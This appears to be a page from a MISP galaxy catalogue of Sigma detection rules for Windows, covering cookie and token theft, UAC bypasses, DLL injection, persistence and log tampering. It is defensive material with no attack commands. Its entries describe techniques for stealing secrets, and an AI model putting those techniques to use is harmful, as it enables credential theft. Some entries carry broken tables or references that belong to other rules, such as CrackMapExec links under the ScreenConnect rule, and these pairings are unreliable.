<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_clip.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_clip.yml</a></td>
</tr>
</tbody>
</table>

Potential Password Spraying Attempt Using Dsacls.EXE

Detects possible password spraying attempts using Dsacls

The tag is: `misp-galaxy:sigma-rules="Potential Password Spraying Attempt Using Dsacls.EXE"`

View relationships graph

Potential Password Spraying Attempt Using Dsacls.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9573. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ss64.com/nt/dsacls.html">https://ss64.com/nt/dsacls.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dsacls_password_spray.yml</a></td>
</tr>
</tbody>
</table>
SQLite Chromium Profile Data DB Access

Detect usage of the "sqlite" binary to query databases in Chromium-based browsers for potential data stealing.

The tag is: `misp-galaxy:sigma-rules="SQLite Chromium Profile Data DB Access"`

View relationships graph

SQLite Chromium Profile Data DB Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"

Table 9574. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/84d9edaaaa2c5511144521b0e4af726d1c7276ce/atomics/T1539/T1539.md#atomic-test-2---steal-chrome-cookies-windows">https://github.com/redcanaryco/atomic-red-team/blob/84d9edaaaa2c5511144521b0e4af726d1c7276ce/atomics/T1539/T1539.md#atomic-test-2---steal-chrome-cookies-windows</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml</a></td>
</tr>
</tbody>
</table>

PsExec Service Execution

Detects launch of the PSEXESVC service, which means that this system was the target of a psexec remote execution

The tag is: `misp-galaxy:sigma-rules="PsExec Service Execution"`

Table 9575. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=ro2QuZTIMBM">https://www.youtube.com/watch?v=ro2QuZTIMBM</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/sysinternals/downloads/psexec">https://docs.microsoft.com/en-us/sysinternals/downloads/psexec</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexesvc.yml</a></td>
</tr>
</tbody>
</table>
**Potential DLL Injection Or Execution Using Tracker.exe**

Detects potential DLL injection and execution using “Tracker.exe”

The tag is: `misp-galaxy:sigma-rules=“Potential DLL Injection Or Execution Using Tracker.exe”`

View relationships graph

Potential DLL Injection Or Execution Using Tracker.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001"` with `estimative-language:likelihood-probability="almost-certain"`

<table>
<thead>
<tr>
<th>Table 9576. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_tracker.yml</a></td>
</tr>
</tbody>
</table>

**Elevated System Shell Spawned**

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges.

The tag is: `misp-galaxy:sigma-rules=“Elevated System Shell Spawned”`

View relationships graph

Elevated System Shell Spawned has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with `estimative-language:likelihood-probability="almost-certain"`

<table>
<thead>
<tr>
<th>Table 9577. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/Wh04m1001/SysmonEoP">https://github.com/Wh04m1001/SysmonEoP</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elevated_system_shell.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elevated_system_shell.yml</a></td>
</tr>
</tbody>
</table>

**Potentially Suspicious PowerShell Child Processes**

Detects potentially suspicious child processes spawned by PowerShell

The tag is: `misp-galaxy:sigma-rules=“Potentially Suspicious PowerShell Child Processes”`
Potentially Suspicious PowerShell Child Processes has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/ankit_anubhav/status/1518835408502620162">https://twitter.com/ankit_anubhav/status/1518835408502620162</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_child_processes.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_susp_child_processes.yml</a></td>
</tr>
</tbody>
</table>

HackTool - CrackMapExec Process Patterns

Detects suspicious process patterns found in logs when CrackMapExec is used

The tag is: misp-galaxy:sigma-rules="HackTool - CrackMapExec Process Patterns"

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass">https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_patterns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_patterns.yml</a></td>
</tr>
</tbody>
</table>

Remote Access Tool - ScreenConnect Remote Command Execution

Detects the execution of a system command via the ScreenConnect RMM service.

The tag is: misp-galaxy:sigma-rules="Remote Access Tool - ScreenConnect Remote Command Execution"

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass">https://mpgn.gitbook.io/crackmapexec/smb-protocol/obtaining-credentials/dump-lsass</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_patterns.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_crackmapexec_patterns.yml</a></td>
</tr>
</tbody>
</table>
Portable Gpg.EXE Execution

Detects the execution of "gpg.exe" from uncommon location. Often used by ransomware and loaders to decrypt/encrypt data.

The tag is: *misp-galaxy:sigma-rules="Portable Gpg.EXE Execution"

View relationships graph

Portable Gpg.EXE Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

Suspicious Child Process Of Manage Engine ServiceDesk

Detects suspicious child processes of the "Manage Engine ServiceDesk Plus" Java web service

The tag is: *misp-galaxy:sigma-rules="Suspicious Child Process Of Manage Engine ServiceDesk"

View relationships graph

Suspicious Child Process Of Manage Engine ServiceDesk has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
New Port Forwarding Rule Added Via Netsh.EXE

Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule.

The tag is: `misp-galaxy:sigma-rules="New Port Forwarding Rule Added Via Netsh.EXE"`

View relationships graph

New Port Forwarding Rule Added Via Netsh.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"

Table 9583. Table References

Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script

Detects execution of the "VMwareToolBoxCmd.exe" with the "script" and "set" flag to setup a specific script to run for a specific VM state.

The tag is: `misp-galaxy:sigma-rules="Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script"`

View relationships graph

Potential Persistence Via VMwareToolBoxCmd.EXE VM State Change Script has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"
**Potential Execution of Sysinternals Tools**

Detects command lines that contain the 'accepteula' flag which could be a sign of execution of one of the Sysinternals tools

The tag is: `misp-galaxy:sigma-rules="Potential Execution of Sysinternals Tools"`

View relationships graph

Potential Execution of Sysinternals Tools has relationships with:


**Suspicious Schtasks Execution AppData Folder**

Detects the creation of a schtask that executes a file from C:\Users\<USER>\AppData\Local

The tag is: `misp-galaxy:sigma-rules="Suspicious Schtasks Execution AppData Folder"`

View relationships graph

Suspicious Schtasks Execution AppData Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
Suspicious Runscripthelper.exe

Detects execution of powershell scripts via Runscripthelper.exe

The tag is: *misp-galaxy: sigma-rules*="Suspicious Runscripthelper.exe"

View relationships graph

Suspicious Runscripthelper.exe has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern*="Command and Scripting Interpreter - T1059" with
  estimative-language:likelihood-probability="almost-certain"

- related-to: *misp-galaxy: mitre-attack-pattern*="Indirect Command Execution - T1202" with
  estimative-language:likelihood-probability="almost-certain"

Table 9587. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/">https://lolbas-project.github.io/lolbas/Binaries/Runscripthelper/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runscripthelper.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_runscripthelper.yml</a></td>
</tr>
</tbody>
</table>

UAC Bypass Using Disk Cleanup

Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)

The tag is: *misp-galaxy: sigma-rules*="UAC Bypass Using Disk Cleanup"

View relationships graph

UAC Bypass Using Disk Cleanup has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern*="Bypass User Account Control - T1548.002" with
  estimative-language:likelihood-probability="almost-certain"

Table 9588. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Parent Double Extension File Execution

Detect execution of suspicious double extension files in ParentCommandLine

The tag is: misp-galaxy:sigma-rules="Suspicious Parent Double Extension File Execution"

View relationships graph

Suspicious Parent Double Extension File Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Double File Extension - T1036.007" with estimative-language:likelihood-probability="almost-certain"

Table 9589. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.virustotal.com/gui/file/7872d8845a332dce517ad1e9c3389fde5313ff2fed38c2577f3b498da786db68/behavior">https://www.virustotal.com/gui/file/7872d8845a332dce517ad1e9c3389fde5313ff2fed38c2577f3b498da786db68/behavior</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension_parent.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_double_extension_parent.yml</a></td>
</tr>
</tbody>
</table>

ZOHO Dctask64 Process Injection

Detects suspicious process injection using ZOHO's dctask64.exe

The tag is: misp-galaxy:sigma-rules="ZOHO Dctask64 Process Injection"

View relationships graph

ZOHO Dctask64 Process Injection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 9590. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/gN3mes1s/status/1222095963789111296">https://twitter.com/gN3mes1s/status/1222095963789111296</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/gN3mes1s/status/1222088214581825540">https://twitter.com/gN3mes1s/status/1222088214581825540</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/gN3mes1s/status/1222095371175911424">https://twitter.com/gN3mes1s/status/1222095371175911424</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dctask64_proc_inject.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_dctask64_proc_inject.yml</a></td>
</tr>
</tbody>
</table>
UAC Bypass Using Event Viewer RecentViews

Detects the pattern of UAC Bypass using Event Viewer RecentViews

The tag is: *misp-galaxy:sigma-rules="UAC Bypass Using Event Viewer RecentViews"*

Table 9591. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute">https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/orange_8361/status/1518970259868626944">https://twitter.com/orange_8361/status/1518970259868626944</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr_recentviews.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_eventvwr_recentviews.yml</a></td>
</tr>
</tbody>
</table>

Imports Registry Key From an ADS

Detects the import of an alternate datastream to the registry with regedit.exe.

The tag is: *misp-galaxy:sigma-rules="Imports Registry Key From an ADS"*

View relationships graph

Imports Registry Key From an ADS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 9592. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f">https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Regedit/">https://lolbas-project.github.io/lolbas/Binaries/Regedit/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_import_keys_ads.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Binary In User Directory Spawned From Office Application

Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)

The tag is: *misp-galaxy:sigma-rules="Suspicious Binary In User Directory Spawned From Office Application"*

View relationships graph

Suspicious Binary In User Directory Spawned From Office Application has relationships with:
Detect Virtualbox Driver Installation OR Starting Of VMs

Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.

The tag is: `misp-galaxy:sigma-rules="Detect Virtualbox Driver Installation OR Starting Of VMs"`

Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution

Detects execution of Windows Defender "OfflineScannerShell.exe" from its non standard directory. The "OfflineScannerShell.exe" binary is vulnerable to DLL side loading and will load any DLL named "mpclient.dll" from the current working directory.

The tag is: `misp-galaxy:sigma-rules="Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution"`
Execution

View relationships graph

Potential Mpclient.DLL Sideloadng Via OfflineScannerShell.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9595. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/">https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_offlinescannershell_mpclient_sideloadng.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_offlinescannershell_mpclient_sideloadng.yml</a></td>
</tr>
</tbody>
</table>

Potential Data Stealing Via Chromium Headless Debugging

Detects chromium based browsers starting in headless and debugging mode and pointing to a user profile. This could be a sign of data stealing or remote control

The tag is: misp-galaxy:sigma-rules="Potential Data Stealing Via Chromium Headless Debugging"

View relationships graph

Potential Data Stealing Via Chromium Headless Debugging has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

Table 9596. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mango.pdf.zone/stealing-chrome-cookies-without-a-password">https://mango.pdf.zone/stealing-chrome-cookies-without-a-password</a></td>
</tr>
<tr>
<td><a href="https://github.com/defaultnamehere/cookie_crimes/">https://github.com/defaultnamehere/cookie_crimes/</a></td>
</tr>
<tr>
<td><a href="https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/">https://embracethered.com/blog/posts/2020/cookie-crimes-on-mirosoft-edge/</a></td>
</tr>
<tr>
<td><a href="https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/">https://embracethered.com/blog/posts/2020/chrome-spy-remote-control/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_debugging.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_debugging.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Office Token Search Via CLI

Detects possible search for office tokens via CLI by looking for the string "eyJ0eX". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.

The tag is: misp-galaxy:sigma-rules="Suspicious Office Token Search Via CLI"
Suspicious Office Token Search Via CLI has relationships with:


### Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE

Detects potential malicious and unauthorized usage of bcdedit.exe

The tag is: misp-galaxy: sigma-rules="Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE"

Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Bootkit - T1542.003" with estimative-language:likelihood-probability="almost-certain"

### DirLister Execution

Detect the usage of "DirLister.exe" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.

The tag is: misp-galaxy: sigma-rules="DirLister Execution"
DirLister Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 9599. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1083/T1083.md">https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eaf83949805636735a1fd15/atomics/T1083/T1083.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dirlister_execution.yml</a></td>
</tr>
</tbody>
</table>

Devtoolslauncher.exe Executes Specified Binary

The Devtoolslauncher.exe executes other binary

The tag is: misp-galaxy:sigma-rules="Devtoolslauncher.exe Executes Specified Binary"

View relationships graph

Devtoolslauncher.exe Executes Specified Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9600. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Devtoolslauncher/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/_felamos/status/1179811992841797632">https://twitter.com/_felamos/status/1179811992841797632</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_devtoolslauncher.yml</a></td>
</tr>
</tbody>
</table>

File Encoded To Base64 Via Certutil.EXE

Detects the execution of certutil with the "encode" flag to encode a file to base64. This can be abused by threat actors and attackers for data exfiltration

The tag is: misp-galaxy:sigma-rules="File Encoded To Base64 Via Certutil.EXE"

View relationships graph

File Encoded To Base64 Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with
Potential Privilege Escalation via Service Permissions Weakness

Detect modification of services configuration (ImagePath, FailureCommand and ServiceDLL) in registry by processes with Medium integrity level

The tag is: `misp-galaxy:sigma-rules="Potential Privilege Escalation via Service Permissions Weakness"`

View relationships graph

Potential Privilege Escalation via Service Permissions Weakness has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011"` with estimative-language:likelihood-probability="almost-certain"

Potential Renamed Rundll32 Execution

Detects when 'DllRegisterServer' is called in the commandline and the image is not rundll32. This could mean that the 'rundll32' utility has been renamed in order to avoid detection

The tag is: `misp-galaxy:sigma-rules="Potential Renamed Rundll32 Execution"`
New ActiveScriptEventConsumer Created Via Wmic.EXE

Detects WMIC executions in which an event consumer gets created. This could be used to establish persistence.

The tag is: *misp-galaxy:sigma-rules="New ActiveScriptEventConsumer Created Via Wmic.EXE"*

View relationships graph

New ActiveScriptEventConsumer Created Via Wmic.EXE has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 9604. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/johnlatwc/status/1408062131321270282?s=12">https://twitter.com/johnlatwc/status/1408062131321270282?s=12</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_eventconsumer_creation.yml</a></td>
</tr>
</tbody>
</table>

Potential Privilege Escalation To LOCAL SYSTEM

Detects unknown program using commandline flags usually used by tools such as PsExec and PAExec to start programs with SYSTEM Privileges.

The tag is: *misp-galaxy:sigma-rules="Potential Privilege Escalation To LOCAL SYSTEM"*

View relationships graph

Potential Privilege Escalation To LOCAL SYSTEM has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"

Table 9605. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.poweradmin.com/paexec/">https://www.poweradmin.com/paexec/</a></td>
</tr>
</tbody>
</table>
**Possible Privilege Escalation via Weak Service Permissions**

Detection of sc.exe utility spawning by user with Medium integrity level to change service ImagePath or FailureCommand.

The tag is: `misp-galaxy:sigma-rules="Possible Privilege Escalation via Weak Service Permissions"`

View relationships graph

Possible Privilege Escalation via Weak Service Permissions has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Services Registry Permissions Weakness - T1574.011"` with estimative-language:likelihood-probability="almost-certain"

**ShimCache Flush**

Detects actions that clear the local ShimCache and remove forensic evidence.

The tag is: `misp-galaxy:sigma-rules="ShimCache Flush"`

View relationships graph

ShimCache Flush has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with estimative-language:likelihood-probability="almost-certain"
**Console CodePage Lookup Via CHCP**

Detects use of chcp to look up the system locale value as part of host discovery

The tag is: `misp-galaxy:sigma-rules="Console CodePage Lookup Via CHCP"`

**View relationships graph**

Console CodePage Lookup Via CHCP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 9608. Table References**

**Links**

- [https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/chcp)
- [https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup.yml](https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_lookup.yml)

**HackTool - SharPersist Execution**

Detects the execution of the hacktool SharPersist - used to deploy various different kinds of persistence mechanisms

The tag is: `misp-galaxy:sigma-rules="HackTool - SharPersist Execution"`

**View relationships graph**

HackTool - SharPersist Execution has relationships with:


**Table 9609. Table References**

**Links**

- [https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit](https://www.mandiant.com/resources/blog/sharpersist-windows-persistence-toolkit)
- [https://github.com/mandiant/SharPersist](https://github.com/mandiant/SharPersist)
- [https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpersist.yml](https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_sharpersist.yml)
Suspicious File Characteristics Due to Missing Fields

Detects Executables in the Downloads folder without FileVersion, Description, Product, Company likely created with py2exe

The tag is: `misp-galaxy:sigma-rules="Suspicious File Characteristics Due to Missing Fields"`

View relationships graph

Suspicious File Characteristics Due to Missing Fields has relationships with:


Table 9610. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/muddywater/88059/">https://securelist.com/muddywater/88059/</a></td>
</tr>
<tr>
<td>&lt;a href=&quot;<a href="https://www.virustotal.com/%5C">https://www.virustotal.com/\</a>&lt;mark&gt;/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection&quot;&gt;<a href="https://www.virustotal.com/(%5C">https://www.virustotal.com/(\</a>&lt;mark&gt;/file/276a765a10f98cda1a38d3a31e7483585ca3722ecad19d784441293acf1b7beb/detection)&lt;/a&gt;</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_file_characteristics.yml</a></td>
</tr>
</tbody>
</table>

Cscript/Wscript Uncommon Script Extension Execution

Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension

The tag is: `misp-galaxy:sigma-rules="Cscript/Wscript Uncommon Script Extension Execution"`

View relationships graph

Cscript/Wscript Uncommon Script Extension Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"

Table 9611. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
PUA - 3Proxy Execution

Detects the use of 3proxy, a tiny free proxy server

The tag is: `misp-galaxy:sigma-rules="PUA - 3Proxy Execution"`

View relationships graph

PUA - 3Proxy Execution has relationships with:


Table 9612. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/3proxy/3proxy">https://github.com/3proxy/3proxy</a></td>
</tr>
<tr>
